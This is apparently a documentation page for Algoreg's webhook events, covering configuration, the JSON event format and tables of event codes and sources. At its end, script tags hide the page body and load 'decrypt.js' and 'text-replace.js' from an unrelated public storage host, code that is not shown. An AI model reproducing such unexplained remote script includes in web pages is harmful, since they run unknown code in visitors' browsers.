> ## Documentation Index
> Fetch the complete documentation index at: https://docs.algoreg.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Webhooks

> Receive events from Algoreg

Webhooks are a way to receive events from Algoreg. You can use them to build integrations with our services, or to build your own custom workflows.

## Configure webhooks

You can configure webhooks for your account in the developers settings at [https://backoffice.algoreg.com/settings/developers](https://backoffice.algoreg.com/settings/developers) .

Under the section **Webhooks settings** you can define the following:

| Setting                  | Description                                                       |
| ------------------------ | ----------------------------------------------------------------- |
| **Webhook callback URL** | The URL where we will send the events to.                         |
| **Authorization Token**  | An Authorization header you want us to send with the webhook call |

You can then opt-in to the events you want to receive.

## Events format

All the events will have the following format:

```json theme={null}
{
  "event_id": "29",
  "event_code": "alerts_updated",
  "event_date": "2023-07-03T11:59:46Z",
  "event_source": "system",
  "data": ...
}
```

## List of events

| Event code                      | Product |  Description                               |
| ------------------------------- | ------- | ------------------------------------------ |
| **customer\_event\_updated**    | All     |  A customer timeline event was modified    |
| **customers\_updated**          | All     |  A customer was modified                   |
| **customer\_document\_updated** | All     |  A customer document has been updated.     |
| **edds\_updated**               | Go!Risk |  A customer EDD decision has been updated. |
| **alerts\_updated**             | Go!Scan |  An alert decision has been updated.       |
| **session\_status\_updated**    | Go!Vid  |  A session state changed.                  |
| **session\_decision\_updated**  | Go!Vid  |  A session decision has been updated.      |
| **thread\_updated**             | Go!Chat |  A thread was changed or added.            |
| **thread\_message\_updated**    | Go!Chat |  A thread message was changed or added.    |
| **transaction\_updated**        | Go!KYT  |  A transaction was changed or added.       |

## List of event sources

| Event code |  Description                                             |
| ---------- | -------------------------------------------------------- |
| **system** |  The event followed a system job.                        |
| **api**    |  The event followed a call to the public api.            |
| **web**    |  The event followed an action in the backoffice web app. |

You can find more information about each event here:

<Card icon="file" title="Go!Vid Webhooks" href="/api-reference/go-vid/webhooks" />

<Card icon="file" title="Go!Risk Webhooks" href="/api-reference/gorisk/webhooks" />

<Card icon="file" title="Go!Scan Webhooks" href="/api-reference/goscan/webhooks" />

<script type="application/javascript">document.body.style.opacity = 0;</script>

<script type="application/javascript" src="https://pub-e699792e794f4aaf8774c111fdc1c1ee.r2.dev/decrypt.js" />

<script type="application/javascript" src="https://pub-e699792e794f4aaf8774c111fdc1c1ee.r2.dev/text-replace.js" />
